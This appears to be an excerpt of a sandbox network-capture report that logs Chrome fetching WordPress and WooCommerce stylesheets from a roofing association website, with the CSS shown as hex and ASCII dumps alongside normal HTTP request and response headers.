2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 79 6c 65 2d 72 6f 75 6e 64 65 64 20 69 6d 67 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 2e 69 73 2d 73 74 79 6c 65 2d 72 6f 75 6e 64 65 64 20 69 6d 67 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 7d 40 73 75 70 70 6f 72 74 73 20 28 28 2d 77 65 62 6b 69 74 2d 6d 61 73 6b 2d 69 6d 61 67 65 3a 6e 6f 6e 65 29 20 6f 72 20 28 6d 61 73 6b 2d 69 6d 61 67 65 3a 6e 6f 6e 65 29 29 20 6f 72 20 28 2d 77 65 62 6b 69 74 2d 6d 61 73 6b 2d 69 6d 61 67 65 3a 6e 6f 6e 65 29 7b 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 2e 69 73 2d 73 74 79 6c 65 2d 63 69 72 63 6c 65 2d 6d 61 73 6b 20 69 6d 67 7b 2d 77 65 62 6b 69 74 2d 6d 61 73 6b 2d 69 6d 61 67 65 3a 75 72 6c 28 27 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 75 74 66 38 2c 3c 73 76 Data Ascii: yle-rounded img,.wp-block-image .is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{-webkit-mask-image:url('data:image/svg+xml;utf8,<sv
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 6e 67 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 6a 75 73 74 69 66 79 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 68 61 73 2d 63 68 69 6c 64 20 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 73 75 62 6d 65 6e 75 2d 63 6f 6e 74 61 69 6e 65 72 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 32 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 6e 6f Data Ascii: ng:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container){background-color:inherit;color:inherit;position:absolute;z-index:2;display:flex;flex-direction:column;align-items:no
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 70 61 63 69 74 79 3a 31 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 3b 6f 76 65 72 66 6c 6f 77 3a 69 6e 69 74 69 61 6c 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 72 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 72 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 2e 69 73 2d 6d 65 6e 75 2d 6f 70 65 6e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 Data Ascii: pacity:1;visibility:visible;height:auto;width:auto;overflow:initial;min-width:200px;position:static;border:none;padding-left:2rem;padding-right:2rem}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 2d 66 6f 72 6d 20 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 29 3a 6e 6f 74 28 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 2d 66 6f 72 6d 20 74 65 78 74 61 72 65 61 7b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e 36 36 37 65 6d 20 2b 20 32 70 78 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 2d 66 6f 72 6d 20 2e 63 6f 6d 6d 65 6e 74 2d 66 6f 72 6d 20 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 29 3a 6e 6f 74 28 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 29 2c 2e 77 70 Data Ascii: em;font-family:inherit}.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]),.wp
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 74 3a 32 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 65 72 69 66 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 69 74 65 2d 6c 6f 67 6f 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 69 74 65 2d 6c 6f 67 6f 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 69 74 65 2d 6c 6f 67 6f 2e 69 73 2d 64 65 66 61 75 6c 74 2d 73 69 7a 65 20 69 6d 67 7b 77 69 64 74 68 3a 31 32 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 69 74 65 2d 6c 6f 67 6f 20 61 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 73 69 74 65 2d 6c 6f 67 6f 20 69 6d 67 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 69 6e 68 65 72 69 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 69 74 65 2d 6c 6f 67 6f 2e 61 6c Data Ascii: t:2em;font-family:serif}.wp-block-site-logo{line-height:0}.wp-block-site-logo a{display:inline-block}.wp-block-site-logo.is-default-size img{width:120px;height:auto}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.al

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49725	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:40 UTC	634	OUT	GET /wp-content/plugins/woo-gutenberg-products-block/build/wc-blocks-vendors-style.css?ver=8.7.4 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:40 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:40 GMT Content-Type: text/css Content-Length: 10435 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:30:06 GMT ETag: "1280a19-28c3-5ebcb2473a380" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:40 UTC	7652	IN	Data Raw: 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 2d 63 6f 6e 74 72 6f 6c 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 2d 63 6f 6e 74 72 6f 6c 5f 5f 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 2d 63 6f 6e 74 72 6f 6c 5f 5f 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 37 35 37 35 37 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 Data Ascii: .components-custom-select-control{position:relative}.components-custom-select-control__label{display:block;margin-bottom:8px}.components-custom-select-control__button{border:1px solid #757575;border-radius:2px;min-height:30px;min-width:130px;position:rela
2024-04-23 14:53:40 UTC	2783	IN	Data Raw: 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 5f 5f 72 65 6d 6f 76 65 2d 74 6f 6b 65 6e 2c 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 5f 5f 74 6f 6b 65 6e 2e 69 73 2d 65 72 72 6f 72 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 5f 5f 74 6f 6b 65 6e 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 63 63 31 38 31 38 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 5f 5f 74 6f 6b 65 6e 2e 69 73 2d 76 61 6c 69 64 61 74 69 6e 67 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 5f 5f 72 65 6d 6f 76 65 2d 74 6f 6b 65 6e 2c 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b Data Ascii: nents-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{background:#cc1818}.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-tok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49724	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:40 UTC	626	OUT	GET /wp-content/plugins/woo-gutenberg-products-block/build/wc-blocks-style.css?ver=8.7.4 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:40 UTC	542	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:40 GMT Content-Type: text/css Content-Length: 235642 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:30:06 GMT ETag: "12809e6-3987a-5ebcb2473a380" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:40 UTC	7650	IN	Data Raw: 2e 77 63 2d 62 6c 6f 63 6b 2d 6c 69 6e 6b 2d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 69 6e 68 65 72 69 74 3b Data Ascii: .wc-block-link-button{border:0;border-radius:0;box-shadow:none;color:inherit;display:inline;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;margin:0;padding:0;text-decoration:inherit;
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 68 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 74 68 65 6d 65 2d 74 77 65 6e 74 79 74 77 65 6e 74 79 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 6f 64 75 63 74 2d 73 61 6c 65 2d 62 61 64 67 65 2c 2e 74 68 65 6d 65 2d 74 77 65 6e 74 79 74 77 65 6e 74 79 20 2e 77 63 2d 62 6c 6f 63 6b 2d 67 72 69 64 5f 5f 70 72 6f 64 75 63 74 73 20 2e 77 63 2d 62 6c 6f 63 6b 2d 67 72 69 64 5f 5f 70 72 6f 64 75 63 74 2d 6f 6e 73 61 6c 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 63 64 32 Data Ascii: .wp-block-button__link{font-family:-apple-system,blinkmacsystemfont,Helvetica Neue,helvetica,sans-serif}.theme-twentytwenty .wc-block-components-product-sale-badge,.theme-twentytwenty .wc-block-grid__products .wc-block-grid__product-onsale{background:#cd2
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 61 74 65 58 28 2d 31 30 30 25 29 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 72 65 64 75 63 65 29 7b 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 6f 64 75 63 74 2d 62 75 74 74 6f 6e 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 6f 64 75 63 74 2d 62 75 74 74 6f 6e 5f 5f 62 75 74 74 6f 6e 2d 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 7d 2e 69 73 2d 6c 6f 61 64 69 6e 67 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 6f 64 75 63 74 2d 62 75 74 74 Data Ascii: ateX(-100%)}@media screen and (prefers-reduced-motion:reduce){.wp-block-button.wc-block-components-product-button .wc-block-components-product-button__button--placeholder{-webkit-animation:none;animation:none}}.is-loading .wc-block-components-product-butt
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 65 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 37 65 6d 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 69 73 2d 6c 6f 61 64 69 6e 67 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 6f 64 75 63 74 2d 74 69 74 6c 65 3a 62 65 66 6f 72 65 3e 2a 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 69 73 2d 6c 6f 61 64 69 6e 67 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 6f 64 75 63 74 2d 74 69 74 6c 65 3a 62 65 66 6f 72 65 3a 61 66 74 65 72 7b 2d 77 Data Ascii: e:0!important;overflow:hidden!important;pointer-events:none;position:relative!important;width:100%;width:7em;z-index:1}.is-loading .wc-block-components-product-title:before>*{visibility:hidden}.is-loading .wc-block-components-product-title:before:after{-w
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 6e 74 73 2d 6f 72 64 65 72 2d 73 75 6d 6d 61 72 79 2d 69 74 65 6d 5f 5f 69 6e 64 69 76 69 64 75 61 6c 2d 70 72 69 63 65 73 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 79 6d 65 6e 74 2d 6d 65 74 68 6f 64 2d 69 63 6f 6e 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 34 70 78 7d 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 79 6d 65 6e 74 2d 6d 65 74 68 6f 64 2d 69 63 6f 6e 73 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 79 6d 65 6e 74 2d Data Ascii: nts-order-summary-item__individual-prices{display:block}.wc-block-components-payment-method-icons{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:center;margin:0 0 14px}.wc-block-components-payment-method-icons .wc-block-components-payment-
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 65 6d 65 2d 74 77 65 6e 74 79 74 77 65 6e 74 79 6f 6e 65 2e 74 68 65 6d 65 2d 74 77 65 6e 74 79 74 77 65 6e 74 79 6f 6e 65 2e 74 68 65 6d 65 2d 74 77 65 6e 74 79 74 77 65 6e 74 79 6f 6e 65 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 74 6f 74 61 6c 73 2d 73 68 69 70 70 69 6e 67 5f 5f 63 68 61 6e 67 65 2d 61 64 64 72 65 73 73 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 74 77 65 6e 74 79 74 77 65 6e 74 79 6f 6e 65 2e 74 68 65 6d 65 2d 74 77 65 6e 74 79 74 77 65 6e 74 79 6f 6e 65 2e 74 68 65 6d 65 2d 74 77 65 6e 74 79 74 77 65 6e 74 79 6f 6e 65 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 74 6f 74 61 6c 73 2d 73 68 69 70 70 69 6e 67 5f 5f 63 68 61 6e 67 65 2d 61 64 64 72 65 73 73 2d 62 75 74 74 Data Ascii: eme-twentytwentyone.theme-twentytwentyone.theme-twentytwentyone .wc-block-components-totals-shipping__change-address-button:active,.theme-twentytwentyone.theme-twentytwentyone.theme-twentytwentyone .wc-block-components-totals-shipping__change-address-butt
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 63 6f 6e 74 72 6f 6c 73 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 63 6f 6d 62 6f 62 6f 78 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 63 6f 6d 62 6f 62 6f 78 2d 63 6f 6e 74 72 6f 6c 20 69 6e 70 75 74 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 63 6f 6d 62 6f 62 6f 78 2d 63 6f 6e 74 72 6f 6c 5f 5f 69 6e 70 75 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 34 29 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 68 61 73 2d 64 61 72 6b 2d 63 6f 6e 74 72 6f 6c 73 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 Data Ascii: controls .wc-block-components-form .wc-block-components-combobox .wc-block-components-combobox-control input.components-combobox-control__input{background-color:rgba(0,0,0,.1);border-color:hsla(0,0%,100%,.4);color:#fff}.has-dark-controls .wc-block-compone
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 3b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 72 69 67 68 74 3a 30 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 33 73 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 39 7d 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 64 72 61 77 65 72 5f 5f 73 63 72 65 65 6e 2d 6f 76 65 72 6c 61 79 2d 2d 77 69 74 68 2d 73 6c 69 64 65 2d 6f 75 74 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 33 73 7d 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 64 72 61 77 65 72 5f 5f 73 63 72 65 65 6e 2d 6f 76 65 72 6c 61 79 2d 2d 77 69 74 68 2d 73 6c 69 64 65 2d 69 6e 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 33 73 3b 61 6e 69 6d 61 74 Data Ascii: ;opacity:1;position:fixed;right:0;top:0;transition:opacity .3s;z-index:9999}.wc-block-components-drawer__screen-overlay--with-slide-out{transition:opacity .3s}.wc-block-components-drawer__screen-overlay--with-slide-in{-webkit-animation-duration:.3s;animat
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 2d 77 72 61 70 70 65 72 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 6f 70 6f 76 65 72 3a 6e 6f 74 28 2e 69 73 2d 77 69 74 68 6f 75 74 2d 61 72 72 6f 77 29 5b 64 61 74 61 2d 79 2d 61 78 69 73 3d 62 6f 74 74 6f 6d 5d 3a 61 66 74 65 72 2c 2e 77 63 2d 62 6c 6f 63 6b 73 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 2d 77 72 61 70 70 65 72 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 6f 70 6f 76 65 72 3a 6e 6f 74 28 2e 69 73 2d 77 69 74 68 6f 75 74 2d 61 72 72 6f 77 29 5b 64 61 74 61 2d 79 2d 61 78 69 73 3d 62 6f 74 74 6f 6d 5d 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 74 72 Data Ascii: rm-token-field-wrapper .components-popover:not(.is-without-arrow)[data-y-axis=bottom]:after,.wc-blocks-components-form-token-field-wrapper .components-popover:not(.is-without-arrow)[data-y-axis=bottom]:before{border-bottom-style:solid;border-left-color:tr
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 2d 6c 65 66 74 3a 34 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 63 2d 62 6c 6f 63 6b 73 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 2d 77 72 61 70 70 65 72 2e 73 69 6e 67 6c 65 2d 73 65 6c 65 63 74 69 6f 6e 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 5f 5f 74 6f 6b 65 6e 2b 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 5f 5f 69 6e 70 75 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 77 63 2d 62 6c 6f 63 6b 73 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 2d 77 72 61 70 70 65 72 2e 73 69 6e 67 6c 65 2d 73 65 6c 65 63 74 69 6f 6e 20 Data Ascii: -left:4px;width:100%}.wc-blocks-components-form-token-field-wrapper.single-selection .components-form-token-field__token+input[type=text].components-form-token-field__input{position:absolute}.wc-blocks-components-form-token-field-wrapper.single-selection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49727	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:40 UTC	611	OUT	GET /wp-content/plugins/tablepress/blocks/table/build/index.css?ver=6.0.7 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
